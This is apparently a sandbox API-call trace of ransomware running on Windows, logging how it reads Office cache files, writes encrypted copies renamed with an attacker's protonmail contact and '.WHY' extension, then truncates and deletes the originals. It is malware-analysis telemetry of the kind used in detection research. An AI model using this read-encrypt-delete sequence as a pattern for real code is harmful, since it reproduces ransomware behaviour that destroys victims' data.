SetEndOfFile (hFile=0x1d0) returned 1 [0061.191] CloseHandle (hObject=0x1d0) returned 1 [0061.191] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0061.192] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0061.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.193] lstrlenW (lpString=".doc") returned 4 [0061.193] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.193] lstrlenW (lpString=".docx") returned 5 [0061.193] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.193] lstrlenW (lpString=".pdf") returned 4 [0061.193] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.193] lstrlenW (lpString=".xls") returned 4 [0061.193] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.193] lstrlenW (lpString=".xlsx") returned 5 [0061.193] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.193] lstrlenW (lpString=".ppt") returned 4 [0061.193] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.194] lstrlenW (lpString=".zip") returned 4 [0061.194] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.194] lstrlenW (lpString=".rar") returned 4 [0061.194] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.194] lstrlenW (lpString=".bz2") returned 4 [0061.194] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.194] lstrlenW (lpString=".7z") returned 3 [0061.194] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.194] lstrlenW (lpString=".dbf") returned 4 [0061.195] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.195] lstrlenW (lpString=".1cd") returned 4 [0061.195] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.195] lstrlenW (lpString=".jpg") returned 4 [0061.195] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.195] lstrlenW (lpString=".doc") returned 4 [0061.196] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.196] lstrlenW (lpString=".docx") returned 5 [0061.196] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.196] lstrlenW (lpString=".pdf") returned 4 [0061.196] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.196] lstrlenW (lpString=".xls") returned 4 [0061.196] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.196] lstrlenW (lpString=".xlsx") returned 5 [0061.196] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.196] lstrlenW (lpString=".ppt") returned 4 [0061.196] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.196] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.197] lstrlenW (lpString=".zip") returned 4 [0061.197] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.197] lstrlenW (lpString=".rar") returned 4 [0061.197] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.197] lstrlenW (lpString=".bz2") returned 4 [0061.197] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.197] lstrlenW (lpString=".7z") returned 3 [0061.197] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.197] lstrlenW (lpString=".dbf") returned 4 [0061.197] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.198] lstrlenW (lpString=".1cd") returned 4 [0061.198] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.198] lstrlenW (lpString=".jpg") returned 4 [0061.198] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.198] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0061.198] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0061.199] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.636] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=3186) returned 1 [0061.636] CloseHandle (hObject=0x1d4) returned 1 [0061.637] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0061.637] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0061.637] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.637] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.637] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.637] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0061.639] GetLastError () returned 0x0 [0061.639] ReadFile (in: hFile=0x1d4, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0xc72, lpOverlapped=0x0) returned 1 [0061.643] WriteFile (in: hFile=0x1d8, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0061.646] ReadFile (in: hFile=0x1d4, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.646] WriteFile (in: hFile=0x1d8, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0061.646] SetEndOfFile (hFile=0x1d8) returned 1 [0061.647] CloseHandle (hObject=0x1d8) returned 1 [0061.648] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.648] SetEndOfFile (hFile=0x1d4) returned 1 [0061.650] CloseHandle (hObject=0x1d4) returned 1 [0061.650] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0061.651] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0061.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0061.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0061.651] lstrlenW (lpString=".doc") returned 4 [0061.651] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.651] lstrlenW (lpString=".docx") returned 5 [0061.651] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.651] lstrlenW (lpString=".pdf") returned 4 [0061.651] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.651] lstrlenW (lpString=".xls") returned 4 [0061.652] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.652] lstrlenW (lpString=".xlsx") returned 5 [0061.652] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.652] lstrlenW (lpString=".ppt") returned 4 [0061.652] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0061.652] lstrlenW (lpString=".zip") returned 4 [0061.652] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.652] lstrlenW (lpString=".rar") returned 4 [0061.652] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.652] lstrlenW (lpString=".bz2") returned 4 [0061.652] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.652] lstrlenW (lpString=".7z") returned 3 [0061.652] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0061.652] lstrlenW (lpString=".dbf") returned 4 [0061.653] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0061.653] lstrlenW (lpString=".1cd") returned 4 [0061.653] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0061.653] lstrlenW (lpString=".jpg") returned 4 [0061.653] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0061.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0061.653] lstrlenW (lpString=".doc") returned 4 [0061.653] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.653] lstrlenW (lpString=".docx") returned 5 [0061.653] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.653] lstrlenW (lpString=".pdf") returned 4 [0061.654] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.654] lstrlenW (lpString=".xls") returned 4 [0061.654] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.654] lstrlenW (lpString=".xlsx") returned 5 [0061.654] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.654] lstrlenW (lpString=".ppt") returned 4 [0061.654] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0061.654] lstrlenW (lpString=".zip") returned 4 [0061.654] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.654] lstrlenW (lpString=".rar") returned 4 [0061.654] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.654] lstrlenW (lpString=".bz2") returned 4 [0061.655] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.655] lstrlenW (lpString=".7z") returned 3 [0061.655] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0061.655] lstrlenW (lpString=".dbf") returned 4 [0061.655] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0061.655] lstrlenW (lpString=".1cd") returned 4 [0061.655] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0061.655] lstrlenW (lpString=".jpg") returned 4 [0061.655] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.656] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0061.656] lstrlenW (lpString="Proof.xml") returned 9 [0061.656] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.658] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1457) returned 1 [0061.658] CloseHandle (hObject=0x1d4) returned 1 [0061.658] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0061.658] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0061.658] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.658] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.659] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.659] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0061.659] GetLastError () returned 0x0 [0061.660] ReadFile (in: hFile=0x1d4, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0061.664] WriteFile (in: hFile=0x1d8, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0061.667] ReadFile (in: hFile=0x1d4, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.667] WriteFile (in: hFile=0x1d8, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.667] SetEndOfFile (hFile=0x1d8) returned 1 [0061.668] CloseHandle (hObject=0x1d8) returned 1 [0061.670] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.670] SetEndOfFile (hFile=0x1d4) returned 1 [0061.673] CloseHandle (hObject=0x1d4) returned 1 [0061.673] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0061.674] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0061.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0061.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0061.674] lstrlenW (lpString=".doc") returned 4 [0061.674] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.674] lstrlenW (lpString=".docx") returned 5 [0061.675] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0061.675] lstrlenW (lpString=".pdf") returned 4 [0061.675] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.675] lstrlenW (lpString=".xls") returned 4 [0061.675] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.675] lstrlenW (lpString=".xlsx") returned 5 [0061.675] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0061.675] lstrlenW (lpString=".ppt") returned 4 [0061.675] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0061.675] lstrlenW (lpString=".zip") returned 4 [0061.675] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.675] lstrlenW (lpString=".rar") returned 4 [0061.675] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.676] lstrlenW (lpString=".bz2") returned 4 [0061.676] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.676] lstrlenW (lpString=".7z") returned 3 [0061.676] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0061.676] lstrlenW (lpString=".dbf") returned 4 [0061.676] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0061.676] lstrlenW (lpString=".1cd") returned 4 [0061.676] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0061.676] lstrlenW (lpString=".jpg") returned 4 [0061.676] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0061.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0061.677] lstrlenW (lpString=".doc") returned 4 [0061.677] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.677] lstrlenW (lpString=".docx") returned 5 [0061.677] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0061.677] lstrlenW (lpString=".pdf") returned 4 [0061.677] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.677] lstrlenW (lpString=".xls") returned 4 [0061.677] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.677] lstrlenW (lpString=".xlsx") returned 5 [0061.677] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0061.677] lstrlenW (lpString=".ppt") returned 4 [0061.678] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0061.678] lstrlenW (lpString=".zip") returned 4 [0061.678] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.678] lstrlenW (lpString=".rar") returned 4 [0061.678] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.678] lstrlenW (lpString=".bz2") returned 4 [0061.678] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.678] lstrlenW (lpString=".7z") returned 3 [0061.678] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0061.678] lstrlenW (lpString=".dbf") returned 4 [0061.678] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0061.679] lstrlenW (lpString=".1cd") returned 4 [0061.679] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0061.679] lstrlenW (lpString=".jpg") returned 4 [0061.679] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.679] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0061.679] lstrlenW (lpString="Proof.xml") returned 9 [0061.679] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.680] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1458) returned 1 [0061.680] CloseHandle (hObject=0x1d4) returned 1 [0061.680] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0061.680] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0061.681] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.681] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.681] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.681] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0061.682] GetLastError () returned 0x0 [0061.682] ReadFile (in: hFile=0x1d4, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0062.112] WriteFile (in: hFile=0x1d8, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x5c0, lpOverlapped=0x0) returned 1 